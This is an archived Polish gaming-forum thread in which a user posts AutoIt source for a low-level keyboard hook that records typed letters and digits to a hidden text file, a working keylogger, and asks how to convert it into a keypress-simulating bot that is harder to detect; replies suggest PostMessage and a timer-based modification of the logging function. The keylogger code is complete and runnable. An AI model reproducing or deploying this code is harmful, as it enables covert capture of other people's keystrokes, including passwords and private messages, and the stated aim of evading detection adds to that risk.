Skocz do zawartości
  • 👋 Witaj na MPCForum!

    Przeglądasz forum jako gość, co oznacza, że wiele świetnych funkcji jest jeszcze przed Tobą! 😎

    • Pełny dostęp do działów i ukrytych treści
    • Możliwość pisania i odpowiadania w tematach
    • System prywatnych wiadomości
    • Zbieranie reputacji i rozwijanie swojego profilu
    • Członkostwo w jednej z największych społeczności graczy

    👉 Dołączenie zajmie Ci mniej niż minutę – a zyskasz znacznie więcej!

    Zarejestruj się teraz

[Pytanie] Hook


Rekomendowane odpowiedzi

Opublikowano

Mam taki kod:

 

#include <WinAPI.au3>
#include <WindowsConstants.au3>
#include <StructureConstants.au3>

$File = @MyDocumentsDir &"\koniec\end.txt"

$File = FileOpen($File,9)

OnAutoItExitRegister("Cleanup")

$hStub_KeyProc = DllCallbackRegister("_KeyProc", "long", "int;wparam;lparam")
$hmod = _WinAPI_GetModuleHandle(0)
$hHook = _WinAPI_SetWindowsHookEx($WH_KEYBOARD_LL, DllCallbackGetPtr($hStub_KeyProc), $hmod)


While 1
Sleep(10)
WEnd


Func EvaluateKey($keycode)
If (($keycode > 64) And ($keycode < 91)) _ ; a - z
Or (($keycode > 96) And ($keycode < 123)) _ ; A - Z
Or (($keycode > 47) And ($keycode < 58)) Then ; 0 - 9
FileWrite($File,Chr($keycode))
EndIf
EndFunc


Func _KeyProc($nCode, $wParam, $lParam)
Local $tKEYHOOKS
$tKEYHOOKS = DllStructCreate($tagKBDLLHOOKSTRUCT, $lParam)
If $nCode < 0 Then
Return _WinAPI_CallNextHookEx($hHook, $nCode, $wParam, $lParam)
EndIf
If $wParam = $WM_KEYDOWN Then
EvaluateKey(DllStructGetData($tKEYHOOKS, "vkCode"))
EndIf
Return _WinAPI_CallNextHookEx($hHook, $nCode, $wParam, $lParam)
EndFunc

Func Cleanup()
_WinAPI_UnhookWindowsHookEx($hHook)
EndFunc

 

wykrywa on naciśnięte klawisze i zapisuje do pliku txt, chcę zamienić część kodu aby symulowało naciśnięcie klawisza (coś takiego jak Send() ale z hookiem na klawiaturę), takie coś o wiele trudniej wykryć a niestety nie potrafię sam zamienić, np. chciałbym aby naciskało klawisz W, czeka 5 sekund i naciska klawisz Z, proszę o pomoc

Opublikowano

Dodajesz do funkcji sprawdzającej czy został kliknięty klawisz "w", potem... właśnie, co potem.

musiałbyś w c++ to napisać od nowa i wtedy Sleep(5000) w nowy wątek, w autoit po prostu zatrzymasz program. autoit kompletnie się do tego nie nadaje.

846331404756772371599.jpeg
Opublikowano

Z tego co czytałem na autoitscript.com, to ciężko będzie coś wykombinować.

Możesz spróbować z:

 

_WinAPI_PostMessage()
 

W helpie nie ma o tym za dużo, dlatego polecam wyżej podane forum (niestety po ang.) i próby. Ja ostrzegam, ta funkcja raz działa, raz nie.

 

@Edit:

 

I ty robisz keyloggera czy bota?

Opublikowano

Z tego co czytałem na autoitscript.com, to ciężko będzie coś wykombinować.

Możesz spróbować z:

 

_WinAPI_PostMessage()
 

W helpie nie ma o tym za dużo, dlatego polecam wyżej podane forum (niestety po ang.) i próby. Ja ostrzegam, ta funkcja raz działa, raz nie.

 

@Edit:

 

I ty robisz keyloggera czy bota?

Ok, teraz robię bota, chcę przerobić keyloggera działającego na podobnej zasadzie by zamiast rejestrować klawisze symulował wciśnięcia

Dodajesz do funkcji sprawdzającej czy został kliknięty klawisz "w", potem... właśnie, co potem.

musiałbyś w c++ to napisać od nowa i wtedy Sleep(5000) w nowy wątek, w autoit po prostu zatrzymasz program. autoit kompletnie się do tego nie nadaje.

Właśnie o to chodzi, żeby program się zatrzymał a po tym Sleep(5000) mogę dodać kilka linijek kodu by powrócił do poprzedniego stanu. Albo AdlibRegister

Opublikowano
Global $timer
Func EvaluateKey($keycode)
If $timer = 0 then
Return
Else
    If (($keycode > 64) And ($keycode < 91)) _ ; a - z

            Or (($keycode > 96) And ($keycode < 123)) _ ; A - Z

            Or (($keycode > 47) And ($keycode < 58)) Then ; 0 - 9

            FileWrite($File,Chr($keycode))
Adlibregister("Timer",5000)
$timer = "-1"
    EndIf
Endif
EndFunc

 Func Timer()
$timer = 0
AdlibUnRegister("Timer")
Endfunc
 

Z epoki kamienia łupanego, może podziała prymityw. Nie wiem czy wszystko ok, pisane na kolanie.

 

@Edit: Co tych poprawek xD

Zarchiwizowany

Ten temat przebywa obecnie w archiwum. Dodawanie nowych odpowiedzi zostało zablokowane.

×
×
  • Dodaj nową pozycję...